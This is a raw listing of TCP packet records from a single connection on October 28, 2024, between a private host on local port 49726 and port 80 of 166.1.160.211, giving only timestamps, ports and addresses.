Oct 28, 2024 19:46:24.499198914 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.499217987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.499253035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.499267101 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.499289036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.499339104 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.499408007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.499742985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.499789000 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.499798059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.499834061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.499882936 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.499937057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.499990940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500025034 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500036955 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.500077963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500113010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500125885 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.500150919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500186920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500194073 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.500269890 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500303984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500313997 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.500339031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500371933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500384092 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.500406981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500452995 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.500478983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500533104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500566959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500580072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.500617981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500652075 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500662088 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.500688076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500722885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500732899 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.500833988 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500866890 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500878096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.500901937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500950098 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.500957012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.500993013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.501028061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.501039982 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.543165922 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.591803074 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.815423012 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.058712006 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.064511061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.237970114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.238009930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.238044024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.238091946 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.238094091 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.238128901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.238158941 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.238163948 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.238198042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.238219023 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.238230944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.238265038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.238277912 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.238316059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.238352060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.238360882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.292270899 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.355036974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355089903 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355108976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355156898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355192900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355242968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355279922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355330944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355330944 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.355330944 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.355330944 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.355365038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355395079 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355463028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355496883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355529070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355540037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.355540037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.355560064 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.355580091 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355612993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355627060 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.355645895 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355694056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355698109 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.355751038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355783939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355798960 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.355819941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355864048 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.355866909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355901957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355935097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.355947018 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.355968952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.356004953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.356019974 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.403131008 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.474257946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474334002 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474389076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474423885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474461079 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474489927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.474489927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.474498034 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474548101 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.474551916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474586964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474622011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474637032 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.474673986 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474709034 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474721909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.474742889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474777937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474793911 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.474828959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474857092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474872112 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.474873066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474889994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474909067 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474914074 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.474925995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474942923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474948883 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.474960089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474976063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.474987030 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.474993944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.475009918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.475018978 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.475025892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.475043058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.475052118 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.475059986 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.475075960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.475083113 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.475094080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.475122929 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.515250921 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.533421993 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.539135933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701092958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701134920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701188087 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.701189995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701224089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701258898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701289892 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.701292992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701342106 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.701344013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701386929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701438904 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.701438904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701488018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701533079 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.701539040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701574087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701607943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701620102 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.701642990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701677084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701687098 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.701711893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701757908 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.701764107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701798916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701836109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701842070 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.701889992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701925039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.701948881 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.701976061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.702022076 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.702253103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.702306986 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.702342033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.702370882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.702445030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.702478886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.702488899 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.702512026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.702545881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.702558041 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.702579975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.702622890 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.702877045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.702972889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.703023911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.703030109 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.703073025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.703108072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.703125954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.703142881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.703186989 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.703572035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.703603029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.703656912 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.768891096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.768934965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.768969059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769072056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769123077 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769140005 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.769156933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769170046 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.769191027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769197941 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.769243002 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769278049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769284010 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.769311905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769346952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769352913 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.769380093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769418955 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.769432068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769467115 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769510984 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.769517899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769552946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769587040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769598961 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.769623041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769656897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769668102 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.769691944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769736052 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.769743919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769794941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769828081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769838095 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.769861937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769895077 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769902945 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.769929886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769963980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.769975901 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.769999027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.770031929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.770044088 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.770082951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.770570993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.770603895 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.770605087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.770639896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.770647049 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.770692110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.770725012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.770737886 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.770759106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.770792961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.770801067 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.770828962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.770864010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.770875931 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.818161011 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.819533110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.819664955 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.819694996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.819713116 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.819746971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.819796085 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.819799900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.819848061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.819881916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.819894075 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.819916010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.819962978 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.819964886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.819999933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820033073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820049047 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.820066929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820100069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820127010 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.820132971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820184946 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.820255041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820368052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820401907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820417881 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.820535898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820569038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820590973 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.820602894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820637941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820650101 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.820672989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820705891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820713997 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.820739031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820794106 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.820831060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820863008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820898056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820913076 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.820938110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820972919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.820985079 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.821193933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821228981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821235895 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.821281910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821315050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821326017 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.821348906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821382046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821393013 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.821428061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821475983 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.821479082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821511984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821544886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821558952 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.821578979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821611881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821621895 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.821646929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821681976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821691990 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.821711063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.821758986 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.822124958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822192907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822227955 CET	80	49726	166.1.160.211	192.168.2.16
